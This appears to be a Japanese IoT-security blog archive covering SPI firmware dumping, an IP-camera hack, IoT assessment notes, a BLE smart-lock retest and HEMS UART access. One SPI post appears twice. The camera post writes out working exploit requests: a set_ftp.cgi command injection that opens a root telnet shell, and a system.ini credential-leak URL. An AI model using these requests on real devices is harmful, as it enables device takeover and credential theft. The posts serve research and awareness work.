SPI経由のファームウェアのダンプ

黒林檎です。

突然ですが、SPI経由のファームウェアダンプに成功しました。

失敗していた理由は、brlttyで意地悪してるやつがいて、そいつのでせいでFTDIのデバドラがうまく対象のIoT機器と通信しなかったという話。

 

半歩先ブログさん、良い情報ありがとうございました~!

hanposaki.blog.so-net.ne.jp

 

SPIの基本的な接続などの話は前回のブログでしたので省略します。

r00tapple.hatenablog.com

 

対象のIoTとは、こんな感じで接続してました。

 

f:id:r00tapple:20171013100654p:plain

(図)SPIの接続

 

ファームウェアダンプの流れを動画にしました、3ステップな簡単な流れです。

(0)/dev/ttyUSB0にFTDIデバイスが認識されていることを確認する

(1)spiflash.pyでファームウェアをダンプ

(2)stringsで中身があるか確認する

(3)binwalkでファームウェアを分解する。

 

 

 

ファームウェアの解析は、以前にイエラエセキュリティさんのブログで記事書いたのでそれを読んでみてください。(※今現在イエラエセキュリティさんには所属しておりません。)

ierae.co.jp

 

こういった問題を避けるために、以下のサイトにあるチップセットは極力使用しない。

SPIなどに入れるデータは、暗号化しておくなどの処置が必要だと思われます。

Supported hardware - flashrom

 あとは、以下のページなどを参考にしてみてください。

reverseengineering.stackexchange.com

 

そういった脆弱なSPIチップを検索するサイト立ててみたので、需要があれば使ってください。(以前も触れましたが、作りが荒いのはご愛敬ということで・・)

f:id:r00tapple:20171005100448p:plain

SPI Vulnerability Check

 

 

 

IoTSecJPもよろしくー!

f:id:r00tapple:20171005105334j:plain

IoTSecJPは、IoTセキュリティに関する啓発や診断技術に関する意見を交換するコミュニティです、
不定期で有志で『IoTSecJP』という名前でイベントをすることもあります。 IoTセキュリティにご興味がある方は是非ご参加下さい。

個人的な思いとしては、開発者とセキュリティエンジニアで議論できれば最高なので開発者の方どんどん参加してください~!

https://www.facebook.com/groups/115145965852825/

 

 

f:id:r00tapple:20170810181311p:plain

 

ファームウェアのダンプ

黒林檎です。

 

突然ですが、SPI経由のファームウェアダンプに成功しました。

失敗していた理由は、brlttyで意地悪してるやつがいて、そいつのでせいでFTDIのデバドラがうまく対象のIoT機器と通信しなかったという話。

 

半歩先ブログさん、良い情報ありがとうございました~!

hanposaki.blog.so-net.ne.jp

 

SPIの基本的な接続などの話は前回のブログでしたので省略します。

r00tapple.hatenablog.com

 

対象のIoTとは、こんな感じで接続してました。

 

f:id:r00tapple:20171013100654p:plain

(図)SPIの接続

 

ファームウェアダンプの流れを動画にしました、3ステップな簡単な流れです。

(0)/dev/ttyUSB0にFTDIデバイスが認識されていることを確認する

(1)spiflash.pyでファームウェアをダンプ

(2)stringsで中身があるか確認する

(3)binwalkでファームウェアを分解する。

 

 

 

ファームウェアの解析は、以前にイエラエセキュリティさんのブログで記事書いたのでそれを読んでみてください。(※今現在イエラエセキュリティさんには所属しておりません。)

ierae.co.jp

 

こういった問題を避けるために、以下のサイトにあるチップセットは極力使用しない。

SPIなどに入れるデータは、暗号化しておくなどの処置が必要だと思われます。

Supported hardware - flashrom

 あとは、以下のページなどを参考にしてみてください。

reverseengineering.stackexchange.com

 

そういった脆弱なSPIチップを検索するサイト立ててみたので、需要があれば使ってください。(以前も触れましたが、作りが荒いのはご愛敬ということで・・)

 

f:id:r00tapple:20171005100448p:plain

SPI Vulnerability Check

 

 

 

IoTSecJPもよろしくー!

f:id:r00tapple:20171005105334j:plain

IoTSecJPは、IoTセキュリティに関する啓発や診断技術に関する意見を交換するコミュニティです、
不定期で有志で『IoTSecJP』という名前でイベントをすることもあります。 IoTセキュリティにご興味がある方は是非ご参加下さい。

個人的な思いとしては、開発者とセキュリティエンジニアで議論できれば最高なので開発者の方どんどん参加してください~!

https://www.facebook.com/groups/115145965852825/

 

 

f:id:r00tapple:20170810181311p:plain

 

「SPI Vulnerability Check」について

黒林檎です。

 

最近、JTAG/SPIダンプ系のハードウェアハッキングを勉強してます。

近々IoTSecJP関西でSPIフラッシュチップに関する勉強会をしたいと思ってるので、興味がある方は是非ご参加ください。

 

今回は、SPIフラッシュダンプの勉強の過程で、少し面白いアイディアがあったので、それのお話をします。

 SPI(シリアル・ペリフェラル・インタフェース)って何?といった方もおられると思いますので、wikiから引用してみます。

シリアル・ペリフェラル・インタフェース(Serial Peripheral Interface, SPI)は、コンピュータ内部で使われるデバイス同士を接続するバスである。パラレルバスに比べて接続端子数が少なくて済むシリアルバスの一種で、比較的低速なデータ転送を行うデバイスに利用される。

 (引用元)シリアル・ペリフェラル・インタフェース - Wikipedia

 

そしてSPIフラッシュダンプは、チップ内にあるデータ(ファームウェアなど)を抽出する目的でしばし用いられます。

詳細な技術に興味がある方は、youtubeに良い動画があったので、参考にしてみてください。

 

www.youtube.com

 

SPIフラッシュダンプの流れは、簡単です。

データシートを見て「SCK/MOSI/MISO/CS」を確認しダンプに用いるディバイスと接続し、flashromなどのダンプツールを実行するだけですね。

f:id:r00tapple:20171005101501p:plain

(図)SPIフラッシュダンプの流れ

 

SPIフラッシュダンプの概要を説明したところで、本題に戻ります。

最近、総務省が「IoT セキュリティ総合対策」というPDFを出しました。

国内のIoTセキュリティ事情を追ってる人であれば、目にしたと思いますが、そこにこんなことが記述されていました。

 

簡易な脆弱性チェックソフトの開発等
利用している IoT 機器に脆弱性が有するか確認したい利用者に対して、簡
易に脆弱性をチェックできるソフトを開発して配布する取組や、脆弱性を調査する民間サービスの実施を促進する取組を検討する必要がある。

③ ハードウェア脆弱性への対応
集積回路の設計工程において、ハードウェア脆弱性が存在する可能性が指摘されており、平成 29 年度から、戦略的情報通信研究開発推進事業(SCOPE)において、ハードウェア脆弱性の検知技術の研究開発が行われている。具体的には、膨大な数の回路設計図をビッグデータとして収集・蓄積し、これを元に脆弱性が存在する可能性のあるチップを、AI を活用して類型化し、ハードウェア脆弱性を発見することを目指すものである。
今後、IoT 端末はさらなる増加が見込まれており、ソフトウェアやファームウェアに対する対策と合わせて、引き続き、ハードウェアに組み込まれるおそれのあるハードウェア脆弱性を検出する技術の研究開発について、ビッグデータや AI を活用しつつ推進していく必要がある。

(引用元)http://www.soumu.go.jp/main_content/000510701.pdf

 

それでは、SPIフラッシュダンプに対するセキュリティ評価をビッグデータとAIを活用しない一例を少し、やってみようと思います。 

 

flashromでは、SPIをダンプできるであろうチップセットの一覧が取得できます。

Hack The World · Juan Carlos Jimenez などでSPIフラッシュダンプでファームウェアの抽出をしているブログは数多くあります。

これらのブログのダンプ対象の多くは、flashromの一覧にあり、flashromなどのツールが対応していないチップセットからファームウェアをダンプしようとするのは難しくなると考えられます。

 

f:id:r00tapple:20171005102821p:plain

(図)flashromのダンプできるチップ一覧

 

そこで、このリストを抽出し、SPIフラッシュダンプが簡易にされてしまうか評価するウェブサイトを作成します。

f:id:r00tapple:20171005103613p:plain

(図)SPI Vulnerability Checkの流れ

 

ウケたら頑張って作ろうというノリで、データベースも用いていないウェブサイトです。

チップの評価も完全一致でなく部分一致で評価してしまいます。(49LF002A/Bを49LF00と同等にしてしまう。)

一応脆弱性チェックしましたが、バグとかあると思います。

 

 

「SPI Vulnerability Check」の趣旨としては、プログラマが開発段階で使用するモジュールなどを吟味するように、IoT機器の設計段階では、使用するチップセットなど選ぶと思います。

その際に、既にハックされているチップか手軽に調べられるサイトがあればと考えました。

 

f:id:r00tapple:20171005100448p:plain

http://ruffnex.net/kuroringo/SPI/

 

最後に、

IoTの脆弱性診断はしんどいのと、IoTを作成するのはセキュリティエンジニアではなく開発者なので開発サイドでできる一定のセキュリティ評価方法があればと思います。

 

 

IoTSecJPに参加お待ちしております。 

f:id:r00tapple:20171005105334j:plain

https://www.facebook.com/groups/115145965852825/

 

IoTSecJPは、IoTセキュリティに関する啓発や診断技術に関する意見を交換するコミュニティです、
不定期で有志で『IoTSecJP』という名前でイベントをすることもあります。 IoTセキュリティにご興味がある方は是非ご参加下さい。

https://www.facebook.com/IoTSecJP/

IoTSecJPのコミュニティはこちら(IoTセキュリティに関する議論が一番しやすい)

https://www.facebook.com/groups/115145965852825/

 

※私の不手際で、IoTSecJPのページが2つあります。(slackにしとけばよかった、誰か運営になってslackページ作ってくれ)

グループでないと、上手くディスカッションができないと思うので、コミュニティからグループへの移行お願い致します。

「中華ウェブカメラ」のセキュリティについて

黒林檎です。

今日は、IPカメラをハッキングしていこうと思います。

 

◆最初に

巷で話題のIPカメラ『VSTARCAM Mini WIFI IP Camera 技術基準適合認定済み有線/無線LAN対応ネットワークカメラ C7823WIP』をハッキングして、どんなセキュリティリスクがあるか考えていきたいと思います。

hardshopper.hatenablog.com

最初に疑ったことはスピーカーの破損によるシステム音声のボヤきだったので、ウェブカメラで再生される音声データを抽出してみましたが、該当しそうな音声データはありませんでした。

中国カメラ音声 - Google ドライブ

 

金曜日にこんな面白い話が降ってきたので、速攻ポチって買いました。
同じシステムを使っているカメラを購入してハッキングしていたので、そこまで時間掛けずにハッキングできるだろうといったところでした。

f:id:r00tapple:20170812033301j:plain

 

(図)IPカメラ

 

私が検証したIPカメラのファームウェアバージョンなどを載せます。

firmware:48.53.75.92(購入時状態、今回検証)

・最新firm:48.53.75.98(未検証) 

 

見た瞬間に前にハッキングしたカメラと「絶対同じだ(笑)」と読み取れるぐらい同じパッケージ(箱の形・付属品・カメラの作り方)でした。

前回のブログでも軽く触れましたが、API公開情報が以前ハッキングしたカメラ同様に公開されていました。

https://www.foscam.es/descarga/ipcam_cgi_sdk.pdf

f:id:r00tapple:20170812033722j:plain

(図)API一覧表の該当箇所

 

前回の記事を読んでいない方は、ぜひ一読してみてください。

r00tapple.hatenablog.com

 

また、以前に0dayが見つかっており以下のページで確認することができます。

Zero-day exploits could turn hundreds of thousands of IP cameras into IoT botnet slaves

https://www.cybereason.com/ip-cameras/

0day Exploit

Multiple vulnerabilities found in Wireless IP Camera (P2P) WIFICAM cameras and vulnerabilities in custom http server - IT Security Research by Pierre

 

◆検証

それでは、流通してるカメラで実際にexploitが通るか確認していきましょう。

ポートスキャンでIPカメラのオープンポートを確認します。

==============================
Host is up (0.027s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE
9600/tcp open micromuse-ncpw
10080/tcp open unknown(RTSP)
10554/tcp open unknown(ONVIF)
40202/tcp open unknown(HTTP)
==============================

f:id:r00tapple:20170812042404p:plain

(図)管理画面

 

f:id:r00tapple:20170812041748p:plain

(図)管理画面から読み取れる情報

 

CVE-2017-8225 - カスタムHTTPサーバー内の事前認証情報漏洩(認証情報)の問題から・・

以下のような情報が漏洩する可能性があります。

(通常時)IPカメラのアカウント資格情報が漏洩

(個別設定時)FTPSMTPアカウント資格情報の漏洩

また、0dayでは「http: //IPカメラ/system.ini?loginuse&loginpas」で空の資格情報で設定ファイルを漏洩できたと発表されています。
もし、この脆弱性が下位ファームウェア有効だった場合は、アカウント情報を変更していてもアカウント資格情報(ユーザー名・パスワード)は漏洩します
また、そこからIPカメラが完全に攻撃者に掌握される可能性があります。

f:id:r00tapple:20170812044903p:plain

(図)認証情報の漏洩

ここからFTPSMTP不正アクセスされる可能性は多いに考えられます。

 

 

CVE-2017-8223 - その他 - 認証なしのストリーミングの問題から・・

rtspのストリーミング(カメラ)を不正視聴できるはずですが、こちらのIPカメラ(ファームウェア:48.53.75.92)では確認できませんでした。

===================

r00tapple@ubuntu:~$ vlc rtsp://192.168.128.104:10554/tcp/av0_0
VLC media player 2.2.2 Weatherwax (revision 2.2.2-0-g6259d80)
[00000000006be0c8] core libvlc: vlcはデフォルトのインターフェースで実行しています。インターフェースのない vlc を使用するには'cvlc'を使用してください。
[00007fbb9c003bb8] live555 demux error: Failed to connect with rtsp://192.168.128.104:10554/tcp/av0_0
[00007fbb940009b8] core input error: open of `rtsp://192.168.128.104:10554/tcp/av0_0' failed
QObject::~QObject: Timers cannot be stopped from another thread

===================

 

また、リモートでバックドア(telnet)の立ち上げが可能でした。

root許可されたRCE認証にOSコマンドインジェクションの脆弱性があるそうです。

この脆弱性を使うことで、任意のOSコマンドが実行できるためMirai(IoT botnet)のようにIPカメラをボット化させDDoS攻撃に加担させることも可能です。

コマンドインジェクションはin set_ftp.cgi(see $(ftp x.com))にあります

 

 ==============================
(1)一回目に送信するリクエス
http: //IPカメラ/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p23 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0


(1)二回目に送信するリクエス
http: //IPカメラ/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin
==============================
 

結果として、未だに脆弱性があるカメラが国内流通していたためexploitが刺さりました。

セキュリティが修正されているか不明ですが、ファームウェアの最新が「48.53.75.98」に更新するなどしてみてください。

f:id:r00tapple:20170812034453p:plain

(図)バックドアの立ち上げとハッキング

 

 

怪しい接続先などについて

昔中華製IoTカメラをハッキングしたときは、Zeusの管理プログラムが通信先サーバーに混入していた例がある。

今回は、「45.33.49.203」に適当なタイミングでSYN_SENTしているので気になりましたが、どうもlinodeというクラウドホスティング(SSD Cloud Hosting & Linux Servers - Linode)でした。

ping見てもわかるとおり、不安定なサーバーで怪しさはありますね。

ここは流した所ですけど、詳細に調べた方が良さそう。

f:id:r00tapple:20170812103215p:plain

(図1)45.33.49.203にコネクションしている

f:id:r00tapple:20170812103229p:plain

(図)ping間隔

 

以前に私がハッキングした、管理サーバーにZeusの管理コントロールプログラムが混入していた問題はココ

 

 

◆問題点

この脆弱性の問題点ですが、別のメーカーのカメラも購入したのですが同じシステムを使っているため(基盤のIPカメラのプログラムをチップセットのような形式で販売という形で提供されているため、同じプログラムが使いまわされている)同様の脆弱性を含んだ製品が国内に大量に出回っている可能性が高い。

今回話題になったIPカメラの攻撃ベクターを詳しく検証する必要性がある。

・・というのは、「1台」のIPカメラを完全に新規の0dayで乗っ取れた場合、横槍で多中華メーカーのIPカメラをハッキングすることが可能です。

イメージにすると、下記のようになります。

 

f:id:r00tapple:20170812050026p:plain

(図)1台掌握すれば同じ攻撃で別の機器もハック可能

 

上記が今回一番シビアな問題で、消費者が修正パッチを適用しても本当に修正されているか検証することが非常に難しいのと現時点で国内にどれだけ脆弱なチップセット組み込んだ中華IPカメラがあるか把握することが難しいとったところです。

jp.ecplaza.net


=問題性が高いIPカメラ=

今回のカメラ(VSTARCAM)

https://www.amazon.co.jp/s/ref=nb_sb_noss?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&url=search-alias%3Dcomputers&field-keywords=VSTARCAM

同様の問題を持っていそうなカメラ(WANSCAM)

https://www.amazon.co.jp/s/ref=nb_sb_noss_2?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&url=search-alias%3Dcomputers&field-keywords=wanscam

===

 

◆対策

情報が少なくてなんとも言えないのですが、「firmware:48.53.75.92」を今回ハッキングしたところ、このファームウェアのバージョンではこんな感じでした。

_____________________________________

telnetはデフォルトでない

 

・IPカメラのアカウントはデフォルトでadmin/888888だが、スマホや管理画面から任意で変更することが可能。(変更することで攻撃のリスクは減る)

 

・同じようなIPカメラで、.iniファイルへのアクセスが正しくチェックされていないようで、攻撃者は、URIに空loginuseと空を付けて認証をバイパスできるようですが、私の環境(firmware:48.53.75.98)では確認できませんでした。

例「wget -qO- 'http://IP_addr/system.ini?loginuse&loginpas'|xxd|less」

 

・管理画面のHTTPサーバーのポート番号が再起動ごとに変化する。(これが一番対策で必要そうなので必須確認)

 

・認証無しrtspストリーミングは確認することは出来なかった。(これは確証微妙なので、いい検査方法あれば教えてください。)

_____________________________________

※最新firm:48.53.75.98(未検証) 

ファームウェアアップデート

・資格情報変更

もし、知見ある方で最新か下位のファームだった場合違いがあるか共有いただけると幸いです。

 

 

◆最後に

 IoTは値段と品質は相違関係では無いというのが個人的な考えですが、こういった問題はセキュリティ意識(対応が早い国内メーカーの機器を使おう)などが問われる問題だと思います。

実際、中国メーカーの機器(しかも、汎用ファームウェアレベル)になってしまうとJPCERTなど国のセキュリティ機関も対応が難しく、今後このような消費者セキュリティは深刻な問題になるでしょう。

 

(1)一般消費者向けIoTセキュリティについて
(2)IoT診断について
(3)IoT診断士の育成について
(4)気になったIoTニュースを投げて議論する

これらの観点で、IoTセキュリティを議論するコミュニティのご参加お待ちしております。(ぜひ、運営手伝ってくれる方も募集してます)

f:id:r00tapple:20170810163457p:plain

 (図)IoTSecJP

 

8月20日(日曜日)に、神戸三宮で緩くウェブカメラの脆弱性見ながら危険性認知する勉強会やりたいと思います。

IoTSecJP関西(ウェブカメラの運用について考える会)

connpass.com

 

 

 

f:id:r00tapple:20170810181311p:plain

 

 

 https://connpass.com/event/64518/

 

 

 

 

 

 

 

 

 

 

 

 

 

IoT診断入門(続)

黒林檎です。

 

今回の記事は、総関西サイバーセキュリティLT大会で話した発表資料をブログベースで書いていきます。

総関西サイバーセキュリティLT大会(第4回) - connpass

発表資料はこんな感じです。

 全体公開微妙なところが多かったので、濁した表現が多い印象です。

 前回のIoT診断と同じ内容もありますが、新しい内容もあるため楽しんでご覧いただけると幸いです。

 

www.slideshare.net

 
場の投影スクリーンの問題で詳しくお話できなかった事についてです。

前回の「IoT診断」発表後からIoT関連でどんな進展があったかご紹介します。

 

f:id:r00tapple:20170810153545p:plain

(図)前回からの変化

 

前回の総関西サイバーセキュリティLT大会からの動きとして、所属している会社がソフト産業プラザ・イメディオ様が実施しているAIDORアクセラレーションというプログラムにIoTのセキュリティ課題に関して何か出来ないかということでパートナーにならせていただきました。

簡単にお話をさせていただく場を貰いましたので、「クラウドファンディング系のセキュリティ品質が問題視されているお話」などをさせていただきました。

面白い取り組みができれば、また何かの形でお知らせ出来ればと思います。

 

www.imedio.or.jp

 

それでは、本題となるIoT診断に関わるIoTセキュリティのお話に戻ります。

 

IoTとサーバーの違いを皆さん明確にいえますか?

Iot(Internet of Things)と言いつつも「Bluetooth LE」や「NFC」といった短距離無線でしか通信しない機器も「IoT」という枠組みになっているのが実情です。

勿論、IPカメラの内側では組込みシステム用のLinuxが動いていて管理画面用などにウェブサーバーが動いていることが当たり前です。

そこだけで考えると、IPカメラとウェブサーバーの仕組みはほぼ同じでセキュリティ的脅威も同じだと考えられます。

では、「IoTならでは」のセキュリティ的脅威はないのか調べてみました。

 

f:id:r00tapple:20170810153808p:plain

(図)IoTとサーバーの違い

 

 

中華製のウェブカメラを購入し試験的にウェブカメラの診断演習をしたところ面白い話が見つかりました。

中華製含め、一部のIPカメラのAPIが公開されていることがわかりました。

http://wiki.reecam.cn/CGI/Params

一部のAPIでは、telnetの起動パラメータが存在し、そのパラメータをIPカメラに送信することでtelnetが立ち上がりリモートからtelnetでIPカメラにアクセスできる仕組みが提供されていることがわかりました。

IPカメラのセキュリティ的脅威として、「miraiやhajimeといったIoTマルウェアが既知の資格情報を用いることでioTを掌握する」という話は一般コンシューマにも認知され初めて「パスワードをデフォルトから変更しなければダメ」という話は広まっているかと思います。

しかし、IPカメラのAPIが公開されており、バックドアのような機能が提供されているといった話はそういったセキュリティ関連のサイトでも見かけません。

これは問題であり、こういった情報が「技術者・消費者」含め認知されていく必要性があると感じる次第です。

中国製ネットワークカメラが勝手に動き出して中国語が聞こえてきた怖い話(動画あり) - 僕とネットショッピング

※このIPカメラを私も購入したので、ハッキング後記を書くことができれば、またお書きします。

f:id:r00tapple:20170810154538p:plain

f:id:r00tapple:20170810154834p:plain

(図)APIノックによるtelnetアクセス

 

話が変わりますが、このIoTシステムの脅威はいったいなんでしょうか?

_____________________________________

・スマートペットフィーダー(ペットに餌を与えるIoT)

AWS(APIサーバー)

・SmartPhone(ユーザーがIoTを操作するためのアプリ)

_____________________________________

「IoTセキュリティ」なので、「スマートペットフィーダー」のみが問題でしょうか?

f:id:r00tapple:20170810155953p:plain

(図)簡単なIoTシステム概要図

 

予算の問題で「Webアプリケーション診断・プラットフォーム診断・スマートフォンアプリケーション診断」をフルで脆弱性診断できない場合は多々あると思います。

そういったケースで考えたとき・・。

先ほどのIoTシステムの趣旨は、「ペットに任意のタイミングで餌を与えること」であり、運用・事業継続のために死守しなければならないのはAPIサーバーがダウンする事で、そのために冗長化は出来ているかやOSコマンドインジェクションといったAPIサーバーを停止できる脆弱性のチェックを優先すべきです。

そのため、システム構成上criticalになり得る脆弱性を洗い出す必要性があります。(例えばですが、IoTでは、しばしばcsrfはcriticalな問題になり得ます。)

 

 

f:id:r00tapple:20170810160336p:plain

(図)APIサーバーのダウンがシステム上一番不味い

 

 

診断箇所の選定は、前回の記事を参考にしてください。

r00tapple.hatenablog.com

 

 

では、なぜ診断箇所の選定をしなければならないのか?というお話をしていきます。

以下のようなケースは多々考えられると思います。

IoTを作っているのに、「デバイス」と「ハードウェア」はセキュリティ診断不要といったパターンですね。

f:id:r00tapple:20170810161401p:plain

(図)診断コストのミスマッチによる診断箇所の除外

 

「IoT」と「アプリケーション」の通信が完璧に実装されているケースでも、下記のようなケースを想定していない場合があります。

root端末により設定値や送信値を改ざんしてリクエストを送信するケースですね。

個人的に、認証ロジックなどが面倒な場合に有効な手段だと思いますが、これでハッキングできた際に情報を公開した際、こんな場面に遭遇しました。

 

1.某メーカーの直属部署マネージャー っ公開資料ダウンロード

2.某メーカーの製品開発に携わった会社の代表取締役 っ公開資料ダウンロード

 

criticalではなく、「システム仕様の問題」でしたが想定外だったんだろうなーと人間相関図で読み取ることができます。

IoTシステムの開発を委託してお仕事をする場合、「仕様」をちゃんと定義しておけばこのような問題がおきても速やかに対応することができます。


■そのシステムの対策として

アプリの設定ファイルが改ざんされているかのチェックは、サーバーサイドで行うため「常にオンライン」であることが前提なので、プログラムの起動を一時的にエラー画面で停止し、重要な処理が何もできない状態にしていました。

f:id:r00tapple:20170810161623p:plain

(図)root化端末による改ざんリクエス

 

 

IoTのハッキングは大変困難なケースが多いため、「診断」という形をとるため「各プロトコル」や「システム構成」で攻撃をまとめておくことが重要です。

他のセキュリティ診断士が簡単に真似できる仕組みを作っておくと、さらに良いですね。

 

f:id:r00tapple:20170810163058p:plain

(図)手法のドキュメント化

 

 スマートフォンなどのファームウェアアップデート機能など、皆さま良く使われておられると思われます。

一体、スマートフォンレベルで安全なファームウェアアップデート機能って世の中のIoTに分類される機器でどれぐらいの数があるのでしょうか?

安全な基準として、以下の項目をOTA(Over-The-Air)で持っているIoTの数はかなり少ないと考えられます。

脆弱性を指摘されたメーカーは「ファームウェアアップデートで対応する」と言いますが、実際国内の電球やコーヒーメーカーや電子錠はファームウェアアップデート機能を適切に実装できているのか、調べる必要性はありそうです。

 

f:id:r00tapple:20170810164336p:plain(図)安全なファームウェアアップデートとは

 

 

 

 

IoTセキュリティに関する課題・知見を共有する場が欲しいなといった所で、facebookページで「IoTSecJP」が取れたので、どんなものにするか何も決まってませんけど、とりあえずYahoo知恵袋の感覚でコミュニティ作れればと思って作ったので是非ご参加ください。

f:id:r00tapple:20170810163457p:plain

https://www.facebook.com/IoTSecJP/

 

(1)一般消費者向けIoTセキュリティについて

(2)IoT診断について

(3)IoT診断士の育成について

(4)気になったIoTニュースを投げて議論する

イメージとしては、こんな感じで議論できれば最高ですね。

f:id:r00tapple:20170810164050p:plain

(図)「中国製ネットワークカメラが勝手に動き出して中国語が聞こえてきた怖い話」での会話

 

f:id:r00tapple:20170810181311p:plain

(図)お・わ・り

 

 

 

 

 

 

 

 

電子錠ハッキング -IoT脆弱性修正の実情-

黒林檎です。

 

IoTセキュリティへの不安が煽る記事が多い一方で、実際IoTセキュリティの修正の実情について書いてある記事はありません。

 

そこで今回は、誤って昔ハッキングカンファレンスでハックできたと発表された中華製の電子錠を購入してしまったので「脆弱性の修正はされているのか?」ということを書いていこうと思います。

 

f:id:r00tapple:20170630131522p:plain

[+]発表資料参考
https://conference.hitb.org/hitbsecconf2017ams/materials/D2T3%20-%20Slawomir%20Jasek%20-%20Blue%20Picking%20-%20Hacking%20Bluetooth%20Smart%20Locks.pdf

 

Point-to-Pointの単純なBLE IoTであるため、クリティカルな攻撃経路は以下の2つだと考えられます。

f:id:r00tapple:20170701185316p:plain

(図)攻撃経路の選定

 

LTK(Long Term Key)の解析は今回省き、中間者攻撃-リプレイアタック-に焦点を当てて検証していきます。

 

検証環境に関しては本題でないため詳細を省きますが、機会があれば別途記事にすると思います。

今回以下のような環境でテストしました。

[+]中間者攻撃の実験環境

・PC2台(中間者攻撃用のPC)

タブレット(正規ユーザー)

・電子錠(対象IoTデバイス)

f:id:r00tapple:20170703112154p:plain

(図)検証環境

 

攻撃を簡単に要約すると、MIMEプロキシが対象IoTとスマートフォンバイスの通信をスニッフィングし、MIMEクライアントがスニッフィングされたデータを表示し各種操作・命令を行います。

なので、「中間者攻撃+スニッフィング」というイメージになります。

なぜ中間者攻撃できるかですが仕組みとしては、中間者攻撃のPCが攻撃対象のBLEに接続し、攻撃対象のBLEのアドバタイズメントの周期より早いアドバタズメントパケットを送信することで正規ユーザーを騙し通信の中間に入り込みます。

 

f:id:r00tapple:20170701151727p:plain

(図)MIMEクライアント検証環境の動作

 

検証環境で対象IoT機器「SmartLock」というBLE名が表示されていることがわかります。

実際に動かした流れは画像と文字では難しいため動画を先に動画を見ていただければと思います。

 

www.youtube.com

 

動画を見ていただいたらわかると思いますが、検証した結果過去に脆弱であったとされるSmartLockは単一接続になっており中間者として割り込むことができませんでした。

 

f:id:r00tapple:20170701160412p:plain

(図)脆弱性の修正

 

脆弱性の修正に関して、攻撃に成功した方の発表スライドで「脆弱性は修正してアップデートしたとメーカーがいっているが、まだ脆弱だったよ」と書かれていたので、OTA(Overt-The-Air)経由のファームウェアアップデートでなく新規製造から脆弱性の修正がなされたのかと思います。

 

Bluetooth LEの単一接続とOTAに関して疑問に感じた方は、別途スライド資料を参考にしてみてください。

www.slideshare.net

 

このようなケースを1つしか見ていないので、すべての中華製品がちゃんと修正・対策を施しているということを言えませんがIoT製品製品の脆弱性の修正に触れている記事は見ないので、面白いのかなと思い書いてみました。

 

IoTの脆弱性の報告について思うことは、メーカーにより異なりますが脆弱性の定義があやふやな理由もあり指摘をクレームと認識しお怒りになる会社もあるので、WEBセキュリティのように手軽に脆弱性報告できる文化はこれからかなと思います。

 

例えば、国内外問わずにCVEになるレベルだけどクリティカルじゃないし報告どうするか悩む例であれば「BLEのペアリング時の名称を第三者が不正に書き換えれる」場合です。

これを脆弱性と捉える会社はどの程度いるのか?という話になります。

 

脆弱性を公開する場やコミュニティも重要ですが、IoT製品はハックできたという情報を公開してしまうと、脆弱性を回収しても「脆弱な製品」という情報が一人歩きしていくため『脆弱性の回収(メーカーが脆弱性の指摘に関してこのように修正したなど)』について話せる場があると良いのかなと感じました。(逆にこれに賛同していただける方が少なからずおられるなら何かアクションしていきたいですね。)

 

 

[+]関連する黒林檎ドキュメント

黒林檎のお部屋-IoTハッキング編-(PDF)

http://ruffnex.net/kuroringo/pdf/IoTHack.pdf

IoTセキュリティ対策 診断・解析入門(※社員ではありません。)

IoTセキュリティ対策 診断・解析入門 | SECURITY BLOG by Ierae Security, Inc.

IoT診断入門(スライド)

IoT診断入門

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

HEMSのローカルデータストレージの漏洩

黒林檎です。

 

IoT機器の脆弱性診断の報告対象に「ローカルデータストレージの漏洩」というものがあります。

これは、IoT機器などから資格情報やPII(個人を特定できる情報)・PHI(健康情報)などの情報を抽出できる場合に指摘されるものです。

 

そこで今日は、IoT機器として注目を良く浴びるようになったHEMS(Home Energy Management System)を見ていきます。

 

この脆弱性の範囲として、ユーザーが廃棄したIoT機器を攻撃者が拾った場合に上記の情報を攻撃者が取得し悪用できる可能性がある場合なども含むこともあると思います。(Trash can attackっていう名前で呼ばれているらしいですが、ここは日本なのでゴミ箱攻撃と呼んでいきます。)

[+]Trash can attack 参考

Headworx: Trash Can Attack

 

攻撃までの流れを図解していくと・・・

f:id:r00tapple:20170628102342p:plain

(図)ゴミ箱攻撃の流れ

 

名前の通り、ユーザーがー故障などでIoT機器(ここではHEMS)を廃棄した際にOther work(ゴミ収集など)が回収する前に悪意ある攻撃者が回収してしまう事が始まりです。 

 

ゴミ箱攻撃の現実性でいえば、「まぼろし博覧会」の”村崎百郎の部屋”という展示場所に村崎氏がゴミから拾い上げた手紙や写真などがそのまま展示されていたりしました。

同じように会社が廃棄した物を集めているコレクターもいるかもしれません。

maboroshi.pandora.nu

 

余談を含みましたが、ゴミ箱から回収した想定で基板を取り出していきます。

 

f:id:r00tapple:20170627181529j:plain

(図)HEMSの基板取り出し

 

電子機器に詳しい方であれば一目瞭然であると思いますが、赤外線を用いて家電操作を行うHEMSです。(※LED電球に見えるものは赤外線送信機で、黒く四角いものは赤外線受信機になります。)

基板からハッキングに使える箇所がないか見ていきます。

 

f:id:r00tapple:20170627182352j:plain

(図)HEMS基板

 

RX・TXでUARTがあるのと、TRST・TCKなどでJTAGがあることがわかります。

難易度でいうと、UARTの方が容易であるため接続するインターフェースとしてUARTを今回選択しました。

今回、デバッグピン用に基板に穴が既に空いていたためはんだ付け作業はする必要性が無かったためPCに接続してどの様な情報が出力されるか見ていきます。。

 

f:id:r00tapple:20170627181532j:plain

(図)UART接続

 

実際にUART経由で正常に接続が成功し、文字列が表示されました。

出力された文字列を精査していきます。

 

※問題点を明確化するために、HEMSがWiFiなどに繋がらない環境でUART接続を行いました。

                                 ===========表示された文字列===========

# python baudrate.py -p /dev/ttyUSB1

Starting baudrate detection on /dev/ttyUSB1, turn on your serial device now.
Press Ctl+C to quit.

@@@@ Baudrate: 115200 @@@@@

[wlcm] got wifi message: 8 0 0x00000000
[wlcm] got event: scan result
[wlcm] 11D enabled, re-scanning
[wlcm] initiating scan for network "default"
[wscan] Channel: 1 Type: Active
[wscan] Channel: 2 Type: Passive
[wscan] Channel: 3 Type: Passive
[wscan] Channel: 4 Type: Active
